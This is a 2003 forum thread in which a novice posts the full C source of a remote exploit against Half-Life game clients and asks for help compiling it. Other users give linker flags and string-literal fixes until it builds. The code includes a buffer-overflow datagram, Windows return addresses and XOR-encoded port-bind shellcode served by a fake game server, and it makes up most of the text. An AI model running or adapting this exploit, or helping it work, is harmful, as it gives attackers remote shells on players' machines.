Compiling Error - how to fix?

**traemyn** · 09-26-2003

I am trying to compile this program and I get this. I am kinda a newb to c/c++ so I don't even know where to start to fix this.

I get this using gcc

Code:

exploit.c:107:24: warning: multi-line string literals are deprecated
Undefined                       first referenced
 symbol                             in file
sendto                              /var/tmp//ccTK09rh.o
socket                              /var/tmp//ccTK09rh.o
recvfrom                            /var/tmp//ccTK09rh.o
inet_ntoa                           /var/tmp//ccTK09rh.o
bind                                /var/tmp//ccTK09rh.o
ld: fatal: Symbol referencing errors. No output written to exploit.exe
collect2: ld returned 1 exit status

and i get this using g++

Code:

exploit.c:41: initializer-string for array of chars is too long
exploit.c:107:24: warning: multi-line string literals are deprecated
exploit.c: In function `int main(int, char**)':
exploit.c:156: invalid conversion from `int*' to `socklen_t*'

can someone help me out or at least point me in the right direction

here is the code

Code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT 27015

char ping[0x12]=
	"\xff\xff\xff\xff\x6a\x00\x20\x20\x20"
	"\x20\x20\x20\x20\x20\x20\x20\x20\x20";

unsigned char evilbuf[] =
	/* header of HalfLife udp-datagram | do not edit */
	"\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69"
	"\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c"
	/* 512 bytes for bof */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAA"
	"\x5a\x5a\x5a\x5a" // EIP
	"\x90\x90\x90\x90" // payload for esp
	/* winxp/2k xored portbind shellcode */
	/* If u want to use this xsploit against win9x/ME, change shellcode to another one */
	"\x8B\xC4\x83\xC0\x15\x33\xC9\x66\xB9\xD1\x01\x80\x30\x96\x40\xE2\xFA" // decrypt
	"\x15\x7A\xA2\x1D\x62\x7E\xD1\x97\x96\x96\x1F\x90\x69\xA0\xFE\x18\xD8\x98\x7A\x7E\xF7"
	"\x97\x96\x96\x1F\xD0\x9E\x69\xA0\xFE\x3B\x4F\x93\x58\x7E\xC4\x97\x96\x96\x1F\xD0"
	"\x9A\xFE\xFA\xFA\x96\x96\xFE\xA5\xA4\xB8\xF2\xFE\xE1\xE5\xA4\xC9\xC2\x69\xC0\x9E"
	"\x1F\xD0\x92\x69\xA0\xFE\xE4\x68\x25\x80\x7E\xBB\x97\x96\x96\x1F\xD0\x86\x69\xA0"
	"\xFE\xE8\x4E\x74\xE5\x7E\x88\x97\x96\x96\x1F\xD0\x82\x69\xE0\x92\xFE\x5D\x7B\x6A"
	"\xAD\x7E\x98\x97\x96\x96\x1F\xD0\x8E\x69\xE0\x92\xFE\x4F\x9F\x63\x3B\x7E\x68\x96"
	"\x96\x96\x1F\xD0\x8A\x69\xE0\x92\xFE\x32\x8C\xE6\x51\x7E\x78\x96\x96\x96\x1F\xD0"
	"\xB6\x69\xE0\x92\xFE\x32\x3B\xB8\x7F\x7E\x48\x96\x96\x96\x1F\xD0\xB2\x69\xE0\x92"
	"\xFE\x73\xDF\x10\xDF\x7E\x58\x96\x96\x96\x1F\xD0\xBE\x69\xE0\x92\xFE\x71\xEF\x50"
	"\xEF\x7E\x28\x96\x96\x96\x1F\xD0\xBA\xA5\x69\x17\x7A\x06\x97\x96\x96\xC2\xFE\x97"
	"\x97\x96\x96\x69\xC0\x8E\xC6\xC6\xC6\xC6\xD6\xC6\xD6\xC6\x69\xC0\x8A\x1D\x4E\xC1"
	"\xC1\xFE\x94\x96\x79\x86\x1D\x5A\xFC\x80\xC7\xC5\x69\xC0\xB6\xC1\xC5\x69\xC0\xB2"
	"\xC1\xC7\xC5\x69\xC0\xBE\x1D\x46\xFE\xF3\xEE\xF3\x96\xFE\xF5\xFB\xF2\xB8\x1F\xF0"
	"\xA6\x15\x7A\xC2\x1B\xAA\xB2\xA5\x56\xA5\x5F\x15\x57\x83\x3D\x74\x6B\x50\xD2\xB2"
	"\x86\xD2\x68\xD2\xB2\xAB\x1F\xC2\xB2\xDE\x1F\xC2\xB2\xDA\x1F\xC2\xB2\xC6\x1B\xD2"
	"\xB2\x86\xC2\xC6\xC7\xC7\xC7\xFC\x97\xC7\xC7\x69\xE0\xA6\xC7\x69\xC0\x86\x1D\x5A"
	"\xFC\x69\x69\xA7\x69\xC0\x9A\x1D\x5E\xC1\x69\xC0\xBA\x69\xC0\x82\xC3\xC0\xF2\x37"
	"\xA6\x96\x96\x96\x13\x56\xEE\x9A\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\x7D\x9F"
	"\x1D\xD6\xA2\x1D\x3E\x2E\x96\x96\x96\x1D\x53\xC8\xCB\x54\x92\x96\xC5\xC3\xC0\xC1"
	"\x1D\xFA\xB2\x8E\x1D\xD3\xAA\x1D\xC2\x93\xEE\x95\x43\x1D\xDC\x8E\x1D\xCC\xB6\x95"
	"\x4B\x75\xA4\xDF\x1D\xA2\x1D\x95\x63\xA5\x69\x6A\xA5\x56\x3A\xAC\x52\xE2\x91\x57"
	"\x59\x9B\x95\x6E\x7D\x64\xAD\xEA\xB2\x82\xE3\x77\x1D\xCC\xB2\x95\x4B\xF0\x1D\x9A"
	"\xDD\x1D\xCC\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x7D\x94\xA5\x56\x1D\x43\xC9\xC8\xCB"
	"\xCD\x54\x92\x96"
	/* end */
	"\x5C\x00"; // end of udp-HL-datagram. Do not change!

char retw2ksp3[] = "\xc5\xaf\xe2\x77";
char retwxpsp0[] = "\x1c\x80\xf5\x77"; // ntdll.dll :: jmp esp
char retwxpsp1[] = "\xba\x26\xe6\x77";
char retw98se2[] = "\xa9\xbf\xda\x7f";

int main(int argc, char **argv) {
	int sock, sf, len, i;
	u_short port=PORT;
	struct sockaddr_in fukin_addr, rt;
	char buf[0x1000];
	printf("\n\rHalfLife client v.1.1.1.0 remote exploit by m00 Security\n");
	if(argc!=2) {
		printf("
Usage: %s <remote_os>

where os:
1 - win2k sp3 ru
2 - winxp nosp ru
3 - winxp sp1 ru
4 - win98 se2 ru (need another shellcode)

",argv[0]);
		exit(0);
	}
	if(atoi(argv[1])==1) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retw2ksp3[i];
		}
	}
	if(atoi(argv[1])==2) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retwxpsp0[i];
		}
	}
	if(atoi(argv[1])==3) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retwxpsp1[i];
		}
	}
	if(atoi(argv[1])==4) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retw98se2[i];
		}
	}

	if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
		perror("[-] socket()");
		exit(0);
	}
	printf("\n[+] Socket created.\n");
	fukin_addr.sin_addr.s_addr = INADDR_ANY;
	fukin_addr.sin_port        = htons(port);
	fukin_addr.sin_family      = AF_INET;

	if(bind(sock, (struct sockaddr *)&fukin_addr, sizeof(fukin_addr))<0) {
		perror("[-] bind()");
		exit(0);
	}
	printf("[+] Port %i binded.\n", port);
	sf = sizeof(rt);
	while(1) {
		if ((len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&rt, &sf))<0) {
			perror("[-] recv()");
			exit(1);
		}
		printf("[+] Incoming udp datagram: ");
 		for (i=0;i<=len;i++){
			printf("%c",buf[i]);
		}
		printf("\n[~] Identyfication... ");
		if(strstr(buf,"ping")) {
			printf("PING request\n[~] Sending answer... ");
			if(sendto(sock, ping, sizeof(ping), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
				perror("[-] send()");
				exit(1);
			} else {
				printf("OK\n");
			}
			continue;
		}
		if(strstr(buf,"infostring")) {
			printf("INFOSTRING request\n[~] Attacking... OK\n");
			printf("[+] Now try to connect to: %s:61200\n", inet_ntoa(rt.sin_addr));
			if(sendto(sock, evilbuf, sizeof(evilbuf), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
				perror("[-] send()");
				exit(1);
			}
			continue;
		}
		printf("unknow request\n");
	}
	close(sock);
	return 0;
}

**C-learning** · 09-26-2003

Mabey a good idea to show us some code :-)

**C-learning** · 09-26-2003

Mabey a good idea to show us some code :-)

**Morgan** · 09-26-2003

You need to make sure that you've #include'd all of the header files needed for the functions listed in your error i.e. inet_ntoa etc, and then also that you are including the correct library when compiling e.g. -lsocket. You should be able to find the details by from the documentation on your compiler. I only use Unix, so I can't give you the exact details.

**traemyn** · 09-26-2003

alright well i added -lsocket and now the only undefined symbol is "inet_ntoa"

where is that at?

**Morgan** · 09-26-2003

Try adding -lnsl aswell. I'm only guessing here because this is how it works on Unix, on shaky ground with sockets programs on windows. Maybe someone else can advise further if it doesn't work.

**traemyn** · 09-26-2003

exploit.c:107:24: warning: multi-line string literals are deprecated

after adding -lnsl thats all i get for errors now...!!!! so close!!!!!!

is the 107 the line, and the 24 how many lines included in error?
anywaz this is line 107 and the rest of printf

Code:

        printf("
Usage: %s <remote_os>

where os:
1 - win2k sp3 ru
2 - winxp nosp ru
3 - winxp sp1 ru
4 - win98 se2 ru (need another shellcode)

",argv[0]);

**quzah** · 09-26-2003

The message is quite clear. Don't use multi line string literals. Make them on a single line:

Code:

char foo[] = 
"
This
is
bad.
";

char bar[] = "This\nis\ngood.\n";

Quzah.

**traemyn** · 09-26-2003

heh, yea ima nub

thanks

**Morgan** · 09-26-2003

Looks like Quzah has beaten me to it, but I was going to recommend you do this...

Code:

printf("\nUsage: %s <remote_os>"
       "\n\nwhere os:"
       "\n1 - win2k sp3 ru"
       "\n2 - winxp nosp ru"
       "\n3 - winxp sp1 ru"
       "\n4 - win98 se2 ru (need another shellcode)\n", argv[0]);

**traemyn** · 09-26-2003

k, it compiles, thanks!

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